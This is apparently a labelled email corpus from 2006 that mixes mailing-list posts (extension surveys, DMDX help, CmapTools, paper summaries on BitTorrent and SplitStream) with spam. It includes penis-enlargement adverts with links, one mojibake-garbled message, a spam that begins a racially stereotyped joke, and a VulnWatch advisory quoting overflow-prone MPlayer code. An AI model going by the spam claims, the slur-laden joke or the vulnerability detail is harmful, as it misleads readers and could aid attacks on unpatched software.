>> Hi everyone and welcome back bounce abused MSU people! >> >> I just wanted to give you a quick update on the surveys that have >> been turned in to date. A handful of the surveys are doing well, >> the rest could still use more responses. Please continue to beat >> the bushes to get growers to take the survey through any means at >> your disposal; newsletter, email list, etc. We will ""close"" the >> surveys April 15th, but officially they will still be open for >> growers to take through the summer. Looks like the Canadians are >> beating the pants off of us, it must be the beer incentive they've >> offered! >> >> J >> >> IPM Pepper Survey - KY 1 >> IPM Pepper Survey - OH 5 >> Asparagus IPM Survey - MI 3 >> Carrot IPM Survey - MI 3 >> IPM Sweet Corn Survey - IL 10 >> Indiana Processing Tomato IPM Practices 5 >> Ontario Tomato IPM Practices 19 >> IPM Pumpkin Survey in the Great Lakes region 33 >> >> Jim Jasinski >> Ohio State University Extension >> Integrated Pest Management Program >> Champaign County Extension Office >> 1512 S. US Highway 68, Suite B100 >> Urbana, OH 43078 >> (O) 937.484.1526 (F) 937.484.1540 >> http://ipm.osu.edu > Hannah Stevens > Extension Horticultural Agent > Macomb County MSU Extension > 21885 Dunham Rd. Suite 12 > Clinton Twp. MI 48036 > 586-469-6440 > FAX: 586-469-6948 > > MSU is an affirmative action/equal opportunity institution. > Michigan State University Extension programs and materials are open > to all without regard to race, color, national origin, gender, > religion, age, disability, political beliefs, sexual orientation, > marital status or family status.Issued in furtherance of MSU > Extension work, acts of May 8 and June 30, 1914, in cooperation > with the U.S. Department of Agriculture. Thomas Coon, Director, MSU > Extension, East Lansing, MI 48824. ",0,1 Chris Letts ,DMDX@psy1.psych.arizona.edu,"Wed, 29 Mar 2006 09:26:35 +0100",[DMDX] RE: ,"On our standard University setup here, permission to write to C: drive and registry is denied to 'normal' users and we have to get an administrator to make minor changes before DMDX will run properly. Your setup may be the same so e.g. the TimeDX values may not be saving. Our cure is: 1. registry edit HKLM/SOFTWARE/DMDX to allow all users to modify 2. registry edit HKLM/SOFTWARE/TIMEDX also to allow all users to modify 3. security change on folder C:\\Program Files\\DMDX to allow all users to modify I suspect you will need to make the same sort of changes if your security is like ours.. Chris Letts, Technical Site Manager, School of Education, Communication & Language Sciences, King George VI Building University of Newcastle, Newcastle Upon Tyne NE1 7RU, U.K. //-----Original Message----- //From: DMDX-owner@psy1.psych.arizona.edu //[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of //Gerardo Ortega Delgado //Sent: 29 March 2006 00:29 //To: DMDX@psy1.psych.arizona.edu //Subject: [DMDX] // //I am having problems running an experiment on lexical priming //in LSM. I do all the tasks in TimeDX and when I try to check //the syntax it says: // //Couldn't not //Creat/OpenRegistryKey/DMDX/3/LastUsedItemFile>ErrorCode5 // //Once I close that window appears another once that says the //same but now on top iof that it says: // //TUne some values for anticipating the vertical retrace. // //I believe that I have already tuned all the paramters up. My //video clips are 640x480 32bits, the programme says that, my //tuning parameters have been set that way, but all the same //the window says that i have to tune it up. // //I had a similar problem and Deb showed me how to fix the //problem in my lap top. But now that I need to set the //programme in the lab's computers (Dell) I am getting this //messages. Does it have anything to do with any kind of //restrictions that this computers might have for being part of //the university's network? // //Thanks for the help, //-gerardo // // // //",0,0 Annalisa Setti ,DMDX@psy1.psych.arizona.edu,"Wed, 29 Mar 2006 10:51:57 +0200",[DMDX] problems with sound,"Hi, I?m trying to configure timedx in order to run a priming exp with videos as primes. When I select the audio I obtain two options: 0 primary audio 1 sound blaster 16. I?ve tried to select in turn one or the other but when I run the audio (or digital video) tests timedx crashes and I don?t know why. The sound device on the computer is creative sound blaster 16 plug and play wdm and I saw on the help that the sound blaster 16 is good for dmdx. I don?t need sound for my videos, however I can?t have the exp running in dmdx if I?ve no audio correctly configured. What could I do? (I have never had this problem on other computers) Thanks a lot Annalisa Annalisa Setti, Department of Psychology University of Bologna (Italy) ",0,0 Willis Osemo ,,"Wed, 29 Mar 2006 10:24:40 +0300",Newsflash - Request for Expressions of Interest,"!!Newsflash!! Assist MicroSave to Provide Market-led Solutions in Latin America and the Caribbean The Ford Foundation and the Consultative Group to Assist the Poor (CGAP) have launched a Request for Expressions of Interest (EOI) to Rollout MicroSave Technical Toolkits and Training in Latin America and the Caribbean. This will be a three-year project to build the capacity of technical service providers in the Spanish-speaking countries of Latin America and the Caribbean to better support retail-level institutions that provide financial services to the poor. Project activities are expected to begin on July 1, 2006. To find out more about how to apply, click here or contact Ricardo Garcia-Tafur, Managing Consultant of the Ford Foundation, via e-mail at microsavelac@yahoo.com. EOIs are due on Friday April 21, 2006. !!Newsflash!!",0,1 """XFOCUS Security Team <""","""A HREF=https://maillists.uci.edu/mailman/listinfo/uci-linux"", ""A HREF=https://maillists.uci.edu/mailman/listinfo/uci-linux"", ""A HREF=https://maillists.uci.edu/mailman/listinfo/uci-linux"", ""A HREF=https://maillists.uci.edu/mailman/listinfo/uci-linux""","Wed, 29 Mar 2006 14:12:52 +0800",[VulnWatch] [xfocus-SD-060329]MPlayer: Multiple integer overflows,"- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [xfocus-SD-060329]MPlayer: Multiple integer overflows MPlayer is a media player capable of handling multiple multimedia file formats. XFOCUS team (http://www.xfocus.org/) had discovered Multiple integer overflows .Those can lead to a heap-based buffer overflow. This could result in the execution of arbitrary code with the permissions of the user running MPlayer. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- media-video/mplayer <= 1.0.20060329 Description =========== [1]in libmpdemux/asfheader.c - - ----------------------------------- 218 asf_scrambling_h=buffer[0]; 219 asf_scrambling_w=(buffer[2]<<8)|buffer[1]; 220 asf_scrambling_b=(buffer[4]<<8)|buffer[3]; 221 asf_scrambling_w/=asf_scrambling_b; char convert to int ,int value would be negative number. this lead to asf_descrambling() heap-based buffer overflow. [2]in libmpdemux/aviheader.c - - ----------------------------------- 218 s->wLongsPerEntry = stream_read_word_le(demuxer->stream); 219 s->bIndexSubType = stream_read_char(demuxer->stream); 220 s->bIndexType = stream_read_char(demuxer->stream); 221 s->nEntriesInUse = stream_read_dword_le(demuxer->stream); 222 *(uint32_t *)s->dwChunkId = stream_read_dword_le(demuxer->stream); 223 stream_read(demuxer->stream, (char *)s->dwReserved, 3*4); 224 memset(s->dwReserved, 0, 3*4); 225 226 print_avisuperindex_chunk(s,MSGL_V); 227 228 msize = sizeof (uint32_t) * s->wLongsPerEntry * s->nEntriesInUse;[ERROR] 229 s->aIndex = malloc(msize); 230 memset (s->aIndex, 0, msize); 231 s->stdidx = malloc (s->nEntriesInUse * sizeof (avistdindex_chunk));[ERROR] 232 memset (s->stdidx, 0, s->nEntriesInUse * sizeof (avistdindex_chunk)); 233 234 // now the real index of indices 235 for (i=0; inEntriesInUse; i++) { 236 chunksize-=16; 237 s->aIndex[i].qwOffset = stream_read_dword_le(demuxer->stream) & 0xffffffff; 238 s->aIndex[i].qwOffset |= ((uint64_t)stream_read_dword_le(demuxer->stream) & 0xffffffff)<<32; 239 s->aIndex[i].dwSize = stream_read_dword_le(demuxer->stream); 240 s->aIndex[i].dwDuration = stream_read_dword_le(demuxer->stream); 241 mp_msg (MSGT_HEADER, MSGL_V, ""ODML (%.4s): [%d] 0x%016""PRIx64"" 0x%04x %u\\n"", 242 (s->dwChunkId), i, 243 (uint64_t)s->aIndex[i].qwOffset, s->aIndex[i].dwSize, s->aIndex[i].dwDuration); 244 } [ERROR] two integer overflows lead to a heap-based buffer overflow. NOTE: aviheader.c have another potential integer overflows. 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Your sounds drivers are broken. > The sound device >on the computer is creative sound blaster 16 plug and play wdm and I saw >on the help that the sound blaster 16 is good for dmdx. Once upon a time, I suspect they maybe not so good these days. >I don?t need sound for my videos, however I can?t have the exp running in >dmdx if I?ve no audio correctly configured. What could I do? (I have never >had this problem on other computers) Buy a new sound card. Pretty sure I had to just give up the last SB16 I saw in a machine and replace with something designed in the last decade... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You have to learn to live with what you can't rise above. - Bruce Springstein ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 29 Mar 2006 10:26:15 -0700",[DMDX] Re: RE: ,"Yeah, up until 03/30/05 when DMDX 3.1.2.6 was released that was the case but I'm fairly sure that since then DMDX runs in limited access environments. The exception might be where DMDX was setup before the limits were imposed where it will be able to see keys of it's that it can no longer write to. In which case deleting the keys you refer to should fix things. Current versions of DMDX when they see they cannot access the HKLM registry keys fail over to use the HKLU tree of the registry which it should be able to write to under even the most Draconian setup. At 09:26 AM 3/29/2006 +0100, you wrote: >On our standard University setup here, permission to write to C: drive >and registry is denied to 'normal' users and we have to get an >administrator to make minor changes before DMDX will run properly. >Your setup may be the same so e.g. the TimeDX values may not be saving. >Our cure is: > >1. registry edit HKLM/SOFTWARE/DMDX to allow all users to modify >2. registry edit HKLM/SOFTWARE/TIMEDX also to allow all users to modify >3. security change on folder C:\\Program Files\\DMDX to allow all users to >modify > >I suspect you will need to make the same sort of changes if your >security is like ours.. > >Chris Letts, >Technical Site Manager, >School of Education, Communication & Language Sciences, >King George VI Building >University of Newcastle, >Newcastle Upon Tyne NE1 7RU, > >U.K. > > > > > >//-----Original Message----- >//From: DMDX-owner@psy1.psych.arizona.edu >//[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >//Gerardo Ortega Delgado >//Sent: 29 March 2006 00:29 >//To: DMDX@psy1.psych.arizona.edu >//Subject: [DMDX] >// >//I am having problems running an experiment on lexical priming >//in LSM. I do all the tasks in TimeDX and when I try to check >//the syntax it says: >// >//Couldn't not >//Creat/OpenRegistryKey/DMDX/3/LastUsedItemFile>ErrorCode5 >// >//Once I close that window appears another once that says the >//same but now on top iof that it says: >// >//TUne some values for anticipating the vertical retrace. >// >//I believe that I have already tuned all the paramters up. My >//video clips are 640x480 32bits, the programme says that, my >//tuning parameters have been set that way, but all the same >//the window says that i have to tune it up. >// >//I had a similar problem and Deb showed me how to fix the >//problem in my lap top. But now that I need to set the >//programme in the lab's computers (Dell) I am getting this >//messages. Does it have anything to do with any kind of >//restrictions that this computers might have for being part of >//the university's network? >// >//Thanks for the help, >//-gerardo >// >// >// >// > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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The nature of these sites introduces security risks, so you should take certain precautions. What are social networking sites? Social networking sites, sometimes referred to as ""friend-of-a-friend"" sites, build upon the concept of traditional social networks where you are connected to new people through people you already know. The purpose of some networking sites may be purely social, allowing users to establish friendships or romantic relationships, while others may focus on establishing business connections. Although the features of social networking sites differ, they all allow you to provide information about yourself and offer some type of communication mechanism (forums, chat rooms, email, instant messenger) that enables you to connect with other users. On some sites, you can browse for people based on certain criteria, while other sites require that you be ""introduced"" to new people through a connection you share. Many of the sites have communities or subgroups that may be based on a particular interest. What security implications do these sites present? Social networking sites rely on connections and communication, so they encourage you to provide a certain amount of personal information. When deciding how much information to reveal, people may not exercise the same amount of caution as they would when meeting someone in person because * the internet provides a sense of anonymity * the lack of physical interaction provides a false sense of security * they tailor the information for their friends to read, forgetting that others may see it * they want to offer insights to impress potential friends or associates While the majority of people using these sites do not pose a threat, malicious people may be drawn to them because of the accessibility and amount of personal information available on them. The more information malicious people have about you, the easier it is for them to take advantage of you. Predators may form relationships online and then convince unsuspecting individuals to meet them in person. That could lead to a dangerous situation. The personal information can also be used to conduct a social engineering attack (see Avoiding Social Engineering and Phishing Attacks for more information). Using information that you provide about your location, hobbies, interests, and friends, a malicious person could impersonate a trusted friend or convince you that they have the authority to access other personal or financial data. How can you protect yourself? * Limit the amount of personal information you post - Do not post information that would make you vulnerable (e.g., your address, information about your schedule or routine). If your connections post information about you, make sure the combined information is not more than you would be comfortable with strangers knowing. * Remember that the internet is a public resource - Only post information you are comfortable with anyone seeing. This includes information in your profile and in blogs and other forums. Also, once you post information online, you can't retract it. Even if you remove the information from a site, saved or cached versions may still exist on other people's machines (see Guidelines for Publishing Information Online for more information). * Be wary of strangers - The internet makes it easy for people to misrepresent their identities and motives (see Using Instant Messaging and Chat Rooms Safely for more information). Consider limiting the people who are allowed to contact you on these sites. If you interact with people you do not know, be cautious about the amount of information you reveal or agreeing to meet them in person. * Be skeptical - Don't believe everything you read online. People may post false or misleading information about various topics, including their own identities. This is not necessarily done with malicious intent; it could be unintentional, a product of exaggeration, or a joke. Take appropriate precautions, thought, and try to verify the authenticity of any information before taken any action. * Check privacy policies - Some sites may share information such as email addresses or user preferences with other companies. This may lead to an increase in spam (see Reducing Spam for more information). Also, try to locate the policy for handling referrals to make sure that you do not unintentionally sign your friends up for spam. Some sites will continue to send email messages to anyone you refer until they join. Children are especially susceptible to the threats that social networking sites present. Although many of these sites have age restrictions, children may misrepresent their ages so that they can join. By teaching children about internet safety, being aware of their online habits, and guiding them to appropriate sites, parents can make sure that the children become safe and responsible users (see Keeping Children Safe Online for more information). _________________________________________________________________ Author: Mindi McDowell _________________________________________________________________ Produced 2006 by US-CERT, a government organization. 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Volunteer for Student Housing Move-In 2006. Coming this Fall - Friday, August 18th & Saturday, August 19th. For further information contact Bonnie Reid at breid@housing.olemiss.edu or 915-7369. Registration Deadline will be June 15th. ",0,0 jninyo ,Cmaptools@ihmc.us,,Be special with a special size. Be with Penis Enlarge Patch.,"You h@ve a big heart but a small penis,make the two things big with Penis Enl@rge P@tch. http://www.haswer.net/pt/?51&sworFL",1,1 ,,,Re: Future economics," Eli (and Guy?): My first question to both of you: what should be considered ""engaging in social construction""? Stones will not form political parties as we know those and them. Galaxies may exhibit 'constructs' (behavioral?) which may fit an appropriately formulated definition of social (interactive?). A forest vs many trees can be called a soc. constr. because of the biocomplex interwovenness between plants, insects, animals, the living ambiance, etc. Probably not consciously (purposefully?) as we know that one from our human restrictions. Maybe in another sense....???? Another even farther remote example could be the chemical 'life' of a volcano-inside working itself to eruption or not. Or the deep sea community (I prefer to look at the chemistry of changes, to concentrate on the non-bio aspect, which in turn, would come up in the interacting life of deepsea creatures). Are any 'sociological' aspects detectable in such ambiances? Bio, or not? In our term of purposefulness, or not? Now the hard part: Eli, before you generated that dilemma you wrote about, I would have considered my stance whether I agree with a hierarchy surrounding (!) (up or down) biology and sociology for that matter. I am looking at these things in a wider horizon: both (and many others as well) are influenced - whether hierarchically or just anecdotally - by many other factors. I am reluctant to use here the wholeness argument. So I may not pick these TWO to decide which one is the hierarchical boss of the other. They are interwoven, OK, in more ways than we usually (can) consider. Thank you guys for giving us these ideas of yours. It was a pleasure to think into them. John M --- complex-science@necsi.org wrote: > Guy, > Great answer. I understand your position. I have one > caveat. > Let's accept Stan's hierarchical relationship > between sciences. Then. > if only biological systems can generate social > interactions, it > follows that the social sciences are subsets of > biology. Now comes the > dilemma, for me at least. > > The hierarchy suggests that all explanatory models > in the subset social > sciences must adhere to the explanatory framework of > biology. I can > find no aspects of the science of biology that would > admit to social > construction processes or even purposeful human > action as a primary > cause. Maybe I am missing something. > > So, what is the content of the hierarchical > relationship? > > Eli > > (Guy A. Hoelzer) wrote: > > > Eli, > > > > I'm sorry for the delay in my response, but here > it goes... > > > > On Mar 16, 2006, at 12:54 PM, (Eli Berniker) > wrote: > > > >> Guy, > >> I cannot assume that social construction > processes are biological > >> simply because living systems engage in them. > These are processes > >> of purposeful beings in communication with one > another creating > >> understandings of their reality. > > > > > > To me the question is whether it is possible for > non-biological > > systems to engage in social construction. If not, > then I would argue > > that social construction is exclusively an aspect > of biology. It > > might be more accurate to say that in this case > biology is a pre- > > requisite for the emergence of sociality. Even > if it turns out that > > sociality can emerge in non-biological systems, I > would still argue > > that the social systems we are discussion emerged > within a biological > > system. > > This makes these social constructions inherently > biological in my mind. > > > > Note that my argument is an example of Stan's > specification hierarchy > > thinking. Like Stan, I would also argue that all > biology, as we > > understand it, is a subset of chemistry. In other > words, biology > > extended chemistry and sociality extended biology. > I don't see > > these extensions as separating from their > foundations. > > > >> Thus, our economics drive us to construct a world > of scarcity and > >> hunting gathering societies construct a world of > plenty. The origins > >> of these constructions are not in ""nature"" but in > our humanity. > >> These constructions are plastic with respect to > our intentions. > >> What biological explanation can we offer for an > administration that > >> constructs an explanation for a war based on > overexposure to cowboy > >> movies, believes its own constructions, and > proceeds into a > >> disastrous war without justification? If we are > to task biology > >> with an explanation of such phenomena, what could > it offer? > > > > > > I want to avoid a superficial misunderstanding > based on semantics. I > > hope my answer is clear, although it may seem like > I am avoiding your > > point. I am not trying to sidestep it. I would > say that these > > issues cannot be adequately addressed by some > kinds of biologists, > > such as molecular or cellular biologists, but can > be tackled by > > social and behavioral biologists. [I majored in > both biology and > > psychology. :-)] I think we should also > recognize sociology and > > political science as sub-disciplines of biology, > although I think we > > would agree that these are only loosely (at best) > connected with the > > more reduced end of the biology spectrum (e.g., > molecular biology) at > > this stage. > > > >> Social construction is the domain of social > sciences and they are > >> reasonably useful in proposing understandings of > many social phenomena. > > > > > > I agree. I also think that the future will see a > linkage formed > > between the social and biological sciences. > > > >> What is your justification for extending > biological explanations and > >> models to such phenomena? > > > > > > I hope I answered this question above. > > > > Cheers, > > > > Guy Hoelzer > > > > -------------------------------------------------- > > For information about this discussion group visit > > http://necsi.org/discuss/discuss.html > > > > > > > > -------------------------------------------------- > For information about this discussion group visit > http://necsi.org/discuss/discuss.html > ",0,1 Walter ,egs+summary@cs.cornell.edu,"Wed, 29 Mar 2006 20:44:24 +0200",All love enhancers on one portal!," C a I c A m L q I k S y M d E o R z I t D p I r A m S x O q M n A t V y A i L o I r U h M d V w I h A x G a R n A b X y A q N r A n X i A f M y B c I s E s N m S u A m V x E e s O k V w E d R f l 7 f 0 i % v c W r I p T e H h o O d U y R y d S p H f O w P p ! j [1]http://tobasemakilas.com/?a=1652 _________________________________________________________________ Tsunami warning issued for New Zealand, Fiji Tsunami warning issued for New Zealand, Fiji Iran’s deputy oil minister played down the chance of U.N. action, saying punishing Tehran would send oil prices even higher. Tsunami warning issued for New Zealand, Fiji Tsunami warning issued for New Zealand, Fiji approve pay-cut deal References 1. file://localhost/home/cmf2/tasks/ph_05/http://tobasemakilas.com/?a=1652 ",1,1 ,,,Tutorial with Wink from Jean-Yves Phnom Penh,"Dear Alfredo, Alberto, Roberto The video tutorials you've done made me very fond about screencasting ! Among the softwares I downloaded, there is WINK. This one is not so sophisticated as Captivate or Camtasia : rather rudimentary editing functions and not handling audio capture (yet, they say it's for the next release) but is quite simple and ... freeware. You will find attached a try I got at it. It's about coordination between map and list view windows in CmapTools V4. Best regards Jean-Yves",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Wed, 29 Mar 2006 18:54:40 -0800",PAPER 17,"These three papers all examine the problem of distributing data from one node to many nodes, while trying to maximize the speed that data is distributed at. The naive solution to this is simply to have the source send the data to each receiver, but this is horribly inefficient. Many packets containing the exact same data will travel over the same links. For some time, there have been proposals to set up IP multicasting, where this functionality - sending from one node to many nodes - would be built into the Internet. However, this approach has several problems, and is unlikely that IP multicast will be running on the entire Internet in the near future. As a result, a variety of systems for creating overlay networks have been developed. The basic forms for these are distribution trees, where the nodes assemble in a tree with the data source at the root, and distribution meshes, where nodes assemble into a mesh, and then create a tree on top of that. Bullet is a system which extends the concept of a distribution tree, creating a distribution mesh. It starts off with a tree architecture, but extends this by having nodes obtain some of their data from points in the tree other than their immediate parent, depending on available bandwidth. To accomplish this, the data to be broadcast is broken up into disjoint sets. The root node sends some of these sets to each of its children, and they do the same for their children. A node then obtains the missing sets from other points in the tree. To find locations which have those missing sets, Bullet uses RanSub, a scalable scheme which provides nodes in a tree with information about random subsets of participating nodes. Experimental data shows that Bullet performs at least as well as the optimal tree distribution system, and may achieve up to a 100% performance increase on highly constrained networks. Because a node obtains data from multiple peers as well as its direct parent, the failure of a single node does not cause a temporary outage for all of its children. SplitStream tries to distribute the workload among all nodes in the network evenly, unlike tree-based multicast protocols. SplitStream does this by splitting the data stream up into k stripes, similar to the disjoint sets in Bullet, although the stripes can overlap to allow for error correction, or the loss of a single stripe. Each of these stripes is multicast to all the nodes in the network, using a normal tree-based multicast structure. Each node in the network will be an interior node in one of these trees, and a leaf node in all the others. This approach splits the load for ingoing and outgoing bandwidth evenly among all the nodes in the network. However, it requires the construction of several multicast trees, which SplitStream accomplishes using Scribe. All the nodes share the underlying Pastry network, and a separate Scribe tree is constructed for each of the k stripes. Setting k=2^b, and using some other features of Scribe and Pastry, allows for efficient construction of multiple trees. Because it places an even load on each node in the network, performance in SplitStream may suffer if a reasonable portion of the network has a slow network connection. The Pastry network underneath Scribe may also slow SplitStream down, since it does not minimize link latency, or maximize link bandwidth. BitTorrent focuses exclusively on file downloads, while Bullet and SplitStream provided a more general multicast framework. Each file distributed through BitTorrent is broken up into fixed-size chunks, and requires a tracker. That tracker keeps a list of which BitTorrent clients have downloaded some or all of the file, and which pieces they have. Clients who wish to obtain the file download all the chunks they don't have from anyone who already has them. In order to prevent this from overloading the network, and in an attempt to avoid the free rider problem, BitTorrent clients which are still in the process of downloading a file only upload to a couple of their peers; those peers which are providing the best current download rates are preferred. All three of these networks improve their performance by splitting the data to be transmitted into multiple fragments. By offloading a relatively small portion of the work to a central tracker, BitTorrent does not need to create an overlay network, which will eliminate some overhead. However, attempts to use BitTorrent for real-time streaming applications, such as TV broadcasts or conferencing, would have some problems. BitTorrent assumes that the data to be passed around is stored on the computer, and can be re-uploaded at any point in time. In addition, the lack of a well-defined overlay networks makes it difficult broadcast data to everyone who wishes to have it in a timely fashion, since nodes are constantly choking each other off, and switching the source of their data. -- Victoria Krafft ",0,0 """�m��˶íۡn�̳��w�ȶi�j�j���ж��F�A�]�j�j�Τ�ı�������A�I�n�I "" ",dwilkins@sunrise.cs.olemiss.edu,"Thu, 31 Oct 1901 00:32:15 +0800",Irma�������Y��j�����P�饻�P�B�o�桻�L�Z�H���s�i���æ��j�Ϩѹw��������aniseikonic,Ali �s�W����1 �������� 5�j���W�k�u�@ ���`���l / �a�����`�� / �N�� / �y / ���s�t�@�����L�X�v�� ��������SSBEXZFURS Irma~ �]���a���������� �O���u���t�X / ���l�F���� �����F�]�k �����F�f�fOHRBDXN ���]�����k�������~�Q�g�����d�_���F..{���K�t} Sayaka Hijiri �t���C�� 2/22/1981 160 99-58-83 H-70 �@,1,1 Reginald Stahl ,complex-science@necsi.org,"Wed, 29 Mar 2006 18:07:06 -0700",Double Your Penis Size Szz," Suffering from short penniss? Introduce revolution ""Longz"" formula which gauranteees sizes increase or moneey baack. Users reported: - 2 inches extra in size - 3x pleasurable orgasms - 27% thicker Why waiting? http://maxx14.hbshop.biz 2zx ",1,1 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 01:05:24 -0500",PAPER 17,"I think I may have screwed up in sending my last few papers! Sorry! Would you like them to be resent? Or something? (I believe I got the paper #s wrong) Andrew Cunningham arc39 Incentives Build Robustness in BitTorrent Bram Cohen In classical peer-to-peer fashion, BitTorrent takes the classical client-server model and subverts it. What is more obvious in this domain than most is how shady the legality can become; by making certain services available only via bit-torrent, a provider may essentially dodge out on their entire upload bill, causing ISPs to essentially foot the bill for their content distribution. Thus, BitTorrent introduces stronger quality of service guarantees and much better qualities for introducing new content, and permits economic measurement of client behavior in order to discover freeloaders. It does this by slicing each object to be transfered into blocks of bits and then carefully downloading them ""optimally"" from all those offering them, while simultaneously advertising, and offering, the block-just-downloaded. It is a deployed technology. What BitTorrent does not do is ensure good behavior after a file has been downloaded. A file must be seeded to be shared on this system, and after downloaded a peer should remain online and offering it, in order to help with the cost of upload. However, there is no incentive to do this, because this will create congestion on a peer's network to no personal benefit; a useful expansion might be to measure the performance of BitTorrent peers over time, and integrate the shorter term, per-object rules, to a peer whenever they're encountered. Also, it is something of a hybrid scheme (due to its real world deployment), and thus not purely peer-to-peer. This is relevant to the performance of BitTorrent in that it creates a single point of failure; while it is no longer necessary for the object to remain hosted by its author, it becomes necessary for the author to maintain the tracker; the cost is significantly lower but there exists a clear link between tracker and responsibility (legal, mostly!) of objects. SplitStream: High Bandwidth Multicast in Cooperative Environments Miguel Castro, Peter Druschel, Anne-Marie Kermarrec, Animesh Nandi, Antony Rowstron, Atul Singh Solving a slightly different problem, SplitStream attempts to maximize not personal download while minimizing some central server's upload amounts, but instead to maximize multicast throughput while minimizing reliance on fallible broadcast trees and attempting to enforce fairness. However, it uses a similar concept, splitting each object into stripes and to multicast each stripe along a separate broadcast tree whose interior points are disjoint with each other tree. The topology information is maintained by means of a Pastry ring, with groups treated much as objects around the ring; membership broadcast trees can then be cheaply and easily built by routing a response to the unit on the ring corresponding to the arbitrary point chosen to represent a group. Splitstream's algorithm is quite elegant, though requiring an amount of organizational overhead proportional to the size of the message being sent, in that it is related directly to the number of stripes being sent concurrently. This is not a problem, as it is done through pastry, which otherwise requires little overhead, but represents something of a stumbling block for other-than-longstanding connections, because since this setup and teardown work must be done per stripe to be sent, the model cannot easily be adapted (as BitTorrent) to include one-time downloads, but is instead better suited for streaming video and so forth. Bullet: High Bandwidth Data Dissemination Using an Overlay Mesh Dejan Kostic, Adolfo Rodriguez, Jeannie Albrecht, and Amin Vahdat Similar in some ways to Bittorrent's model, Bullet uses a broadcast tree to seed data into the network and then lateral links to ensure good coverage of all portions of a given file. The important operation here is to locate a peer with slices of content we do not posess; the RanSub algorithm attempts to do this via collect and distribute messages over a tree in an epoch based, cyclical system. Each node thus receives a parent stream of data from the broadcast tree, and some lateral perpendicular streams of data from other peers. The improvements of this paper are an improvement over strict broadcast trees, and thus SplitStream in fact answers many of the flaws in this paper; the most obvious of which is that it is somewhat unstructured, and thus suffers from higher coordination requirements; the problem of locating peers in possesion of new data is essentially one of serving all the nodes 'in the correct order' in this model, since it is intended for arbitrary broadcast, and so scales very well, but also must manage throughput more efficiently than strict trees. The unstructured nature hinders in this goal. ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 30 Mar 2006 01:13:27 -0500",PAPER 17,"Niranjan Sivakumar Incentives Build Robustness in BitTorrent Bullet: High Bandwidth Data Dissemination Using an Overlay Mesh SplitStream: High-Bandwidth Multicast in Cooperative Environments BitTorrent presents a system where files are split into pieces and sent to a number of downloaders such that they can share the pieces that they have, and eventually the entire file, with other nodes in the system to relieve stress on the origin of the file. A central system, called a tracker, is used to coordinate and maintain information about nodes that are connected to the system and the pieces that they maintain. Hashes of pieces are maintained to allow for verification as the download progresses. Peers try to match up such that they have disjoint sets of pieces such that they can provide maximum benefit to each other. Furthermore, some incentives are built into the system by having nodes prefer to upload to nodes that provide good speed in return. Pieces of files are distributed randomly at first, and then rarest first once peers are established in order to reduce the risk of a file becoming unavailable due to a small number of missing pieces. BitTorrent provides! an optional choking mechanism to improve overall performance. Bullet, much like BitTorrent, also breaks files into pieces and tries to match peers with disjoint sets of pieces to help each other finish downloads. Bullet is based on a tree structure for the underlying network, but augments this by allowing for cross-links that ultimately form a mesh that is based on a tree. This mesh allows for parallel perpendicular downloads that increase resilience against failure. Bullet employs a technique called RanSub to coordinate information about nodes within the system. Rounds in RanSub are known as epochs and alternate between collection and distribution. Participants in the system collect data about a random set of descendants and send it up the tree. This is followed by the distribution phase, where the collected data is used to distribute uniformly random sets of nodes down the tree. A TCP friendly rate control scheme is employed to avoid congestion. SplitStream also attempts to leverage tree based structure and dividing data that is being transmitted over the network. SplitStream divides data into stripes and sets up a tree for each stripe. By having a number of trees, the inherent load imbalance of each tree is distributed to even out the aggregate load. SplitStream requires that the tree-based multicast is provided externally. The example provided is to rely on Scribe, and in turn Pastry, to provide this functionality. The most prominent issue with BitTorrent is the reliance on a centralized tracker system. Although the tracker provides for a performance increase, it makes the system somewhat fragile. Bullet and SplitStream do not have a centralized weakpoint. However, although both Bullet and SplitStream seem to be more versatile than BitTorrent in terms of the content that they can be used to deliver, each node in their system is required to shoulder some of the burden that would otherwise be centralized. SplitStream and Bullet also do not seem to have the same incentives, or a matching system, like in BitTorrent perhaps allowing freeloaders or misbehaving nodes to take advantage of them. ",0,0 ,,,Re: [Cmaptools] Tutorial with Wink from Jean-Yves Phnom Penh,"thank you Jean Yves I appreciated the stop and read strategy of your video, and we take in account for it in the future. Writing-reading the C-map List View windows can be useful in training, to acquire a habit to make coherent propositions. Regards Alfredo 2006/3/30, Jean-Yves : > > To unsubscribe, E-mail to: > ----------------------------------- > > > > Dear Alfredo, Alberto, Roberto > > The video tutorials you've done made me very fond about screencasting ! > Among the softwares I downloaded, there is WINK. > This one is not so sophisticated as Captivate or Camtasia : rather > rudimentary editing functions and not handling audio capture (yet, they say > it's for the next release) but is quite simple and ... freeware. > > You will find attached a try I got at it. It's about coordination between > map and list view windows in CmapTools V4. > > Best regards > > Jean-Yves > > ############################################################# > This message is sent to you because you are subscribed to the mailing list > . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Send administrative queries to > > > > -- Alfredo Tifi Via Ancona, 64 62100 - Macerata Italy 338 6324518 +39 0733 239354 c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" San Severino Marche - 62027 Italy www.2wmaps.com",0,0 Francesca ,Mario ,"Thu, 30 Mar 2006 05:59:29 +0400",CumShot Farm,"mermen like tridents and seaweed Jokes of the day A rich white man threw a party and invited all of his buddies and neighbors, including Leroy, the only black guy in the neighborhood. He held the party around the pool in the backyard of his mansion. Everyone was having a good time drinking, dancing, eating BBQ and flirting with the women. At the height of the party, the host said, ""I came home from a business trip and I found a 10 foot alligator got in my pool and I can't find anybody who will come and take him away. I'd give a million dollars to anyone who would do the job!"" The words were barely out of his mouth when there was a loud splash and everyone turned around and saw Leroy in the pool! Leroy was fighting the gator and kicking its ass! He was jabbing it in the eyes with his thumbs, throwing punches, head butts and chokeholds, biting the gator on the tail and flipping it through the air like some kind of Kung-Fu master. The water was churning and splashing in the struggle. Finally Leroy strangled the gator and let it float to 